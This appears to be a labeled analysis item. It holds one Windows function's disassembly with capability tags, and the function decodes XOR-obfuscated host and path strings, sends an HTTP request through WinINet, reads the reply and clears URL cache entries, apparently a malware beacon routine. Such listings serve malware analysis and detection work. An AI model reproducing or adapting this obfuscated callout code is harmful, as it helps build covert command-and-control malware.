Function at 0x140002120
Capabilities:
Connect to http server
Create http request
Encode data using xor
Read data from internet
Receive data
Send data
Send http request

Disassembly:
mov qword [rsp + 8], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x7d0]
sub rsp, 0x8d0
mov rax, qword [0x14002b040]
xor rax, rsp
mov qword [rbp + 0x7c0], rax
mov rdi, r8
mov r14, rdx
mov qword [rbp - 0x68], rdx
mov qword [rbp - 0x60], r8
mov dword [rsp + 0x5c], 1
xorps xmm0, xmm0
movups xmmword [rdx], xmm0
xor ebx, ebx
mov qword [rdx + 0x10], rbx
mov qword [rdx + 0x18], rbx
xor r8d, r8d
lea rdx, [0x140026980]
mov rcx, r14
call fcn.140002020
nop
mov dword [rsp + 0x5c], 1
xor eax, eax
mov word [rsp + 0x58], ax
mov byte [rsp + 0x5a], al
mov dword [rsp + 0x20], ebx
xor r9d, r9d
xor r8d, r8d
lea edx, [rbx + 1]
lea rcx, [rsp + 0x58]
call qword [sym.imp.WININET.dll_InternetOpenW]
mov r13, rax
test rax, rax
je 0x14000249f
mov dword [rsp + 0x40], 0x3c2f3533
mov dword [rsp + 0x44], 0x134e3a39
mov word [rsp + 0x48], 0x17
mov byte [rsp + 0x4a], 1
mov ecx, ebx
nop
lea eax, [rcx + 0x5a]
xor byte [rsp + rcx + 0x40], al
inc rcx
cmp rcx, 9
jb 0x1400021e0
mov byte [rsp + 0x4a], 0
mov r8d, 0x50
mov qword [rsp + 0x38], rbx
mov dword [rsp + 0x30], ebx
mov dword [rsp + 0x28], 3
mov qword [rsp + 0x20], rbx
xor r9d, r9d
lea rdx, [rsp + 0x40]
mov rcx, r13
call qword [sym.imp.WININET.dll_InternetConnectA]
mov r12, rax
test rax, rax
je 0x14000249f
mov r8, rdi
cmp qword [rdi + 0x18], 0xf
jbe 0x14000223b
mov r8, qword [rdi]
mov dword [rsp + 0x50], 0x90f140a
mov word [rsp + 0x54], pe_nt_image_headers64
mov rcx, rbx
nop dword [rax]
lea eax, [rcx + 0x5a]
xor byte [rsp + rcx + 0x50], al
inc rcx
cmp rcx, 4
jb 0x140002250
mov byte [rsp + 0x55], 0
mov qword [rsp + 0x38], rbx
mov dword [rsp + 0x30], 0x80000000
mov qword [rsp + 0x28], rbx
mov qword [rsp + 0x20], rbx
xor r9d, r9d
lea rdx, [rsp + 0x50]
mov rcx, r12
call qword [sym.imp.WININET.dll_HttpOpenRequestA]
mov r15, rax
movdqa xmm0, xmmword [0x1400270b0]
movdqu xmmword [rsp + 0x60], xmm0
movdqa xmm1, xmmword [0x140027120]
movdqu xmmword [rsp + 0x70], xmm1
movdqa xmm0, xmmword [0x140027200]
movdqu xmmword [rbp - 0x80], xmm0
mov dword [rbp - 0x70], 0xeae2e2f9
mov word [rbp - 0x6c], pe_nt_image_headers64
mov rcx, rbx
nop dword [rax]
lea eax, [rcx + 0x5a]
xor byte [rsp + rcx + 0x60], al
inc rcx
cmp rcx, 0x34
jb 0x1400022d0
mov byte [rbp - 0x6b], 0
xor edx, edx
mov r8d, 0x400
lea rcx, [rbp + 0x3c0]
call sub.VCRUNTIME140.dll_memset
lea rcx, [rbp + 0x3c0]
mov r8, 0xffffffffffffffff
mov rax, r8
nop dword [rax]
inc rax
cmp byte [rcx + rax], 0
jne 0x140002310
lea rcx, [rsp + 0x60]
nop
inc r8
cmp byte [rcx + r8], 0
jne 0x140002320
mov dword [rsp + 0x20], eax
lea r9, [rbp + 0x3c0]
lea rdx, [rsp + 0x60]
mov rcx, r15
call qword [sym.imp.WININET.dll_HttpSendRequestA]
test eax, eax
je 0x14000249f
xor edx, edx
mov r8d, 0x400
lea rcx, [rbp - 0x40]
call sub.VCRUNTIME140.dll_memset
mov dword [rbp - 0x50], ebx
lea r9, [rbp - 0x50]
mov r8d, 0x3ff
lea rdx, [rbp - 0x40]
mov rcx, r15
call qword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
je 0x1400023fa
nop
mov eax, dword [rbp - 0x50]
test eax, eax
je 0x1400023f8
mov esi, eax
mov rcx, qword [r14 + 0x10]
mov rdx, qword [r14 + 0x18]
mov rax, rdx
sub rax, rcx
cmp rsi, rax
ja 0x1400023c9
lea rax, [rcx + rsi]
mov qword [r14 + 0x10], rax
mov rax, r14
cmp rdx, 0xf
jbe 0x1400023b0
mov rax, qword [r14]
lea rbx, [rax + rcx]
mov r8, rsi
lea rdx, [rbp - 0x40]
mov rcx, rbx
call sub.VCRUNTIME140.dll_memmove
mov byte [rbx + rsi], 0
jmp 0x1400023dd
mov qword [rsp + 0x20], rsi
lea r9, [rbp - 0x40]
mov rdx, rsi
mov rcx, r14
call fcn.140003d90
lea r9, [rbp - 0x50]
mov r8d, 0x3ff
lea rdx, [rbp - 0x40]
mov rcx, r15
call qword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
jne 0x140002380
xor ebx, ebx
mov rcx, r15
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, r12
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, r13
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov dword [rsp + 0x40], 0x3c2f3533
mov dword [rsp + 0x44], 0x134e3a39
mov word [rsp + 0x48], 0x17
mov byte [rsp + 0x4a], 1
mov rcx, rbx
nop dword [rax]
nop dword [rax + rax]
lea eax, [rcx + 0x5a]
xor byte [rsp + rcx + 0x40], al
inc rcx
cmp rcx, 9
jb 0x140002440
mov byte [rsp + 0x4a], 0
lea rcx, [rsp + 0x40]
call qword [sym.imp.WININET.dll_DeleteUrlCacheEntry]
mov dword [rbp - 0x60], 0x333d2b75
mov dword [rbp - 0x5c], 0x4f333b
mov byte [rbp - 0x58], 1
mov rcx, rbx
nop word [rax + rax]
lea eax, [rcx + 0x5a]
xor byte [rbp + rcx - 0x60], al
inc rcx
cmp rcx, 7
jb 0x140002480
mov byte [rbp - 0x58], 0
lea rcx, [rbp - 0x60]
call qword [sym.imp.WININET.dll_DeleteUrlCacheEntry]
nop
mov rdx, qword [rdi + 0x18]
cmp rdx, 0xf
jbe 0x1400024d5
inc rdx
mov rcx, qword [rdi]
cmp rdx, 0x1000
jb 0x1400024d0
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x140002511
mov rcx, r8
call fcn.140017770
mov byte [rdi], 0
mov qword [rdi + 0x18], 0xf
mov rax, r14
mov qword [rdi + 0x10], rbx
mov rcx, qword [rbp + 0x7c0]
xor rcx, rsp
call fcn.140017750
mov rbx, qword [rsp + 0x910]
add rsp, 0x8d0
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3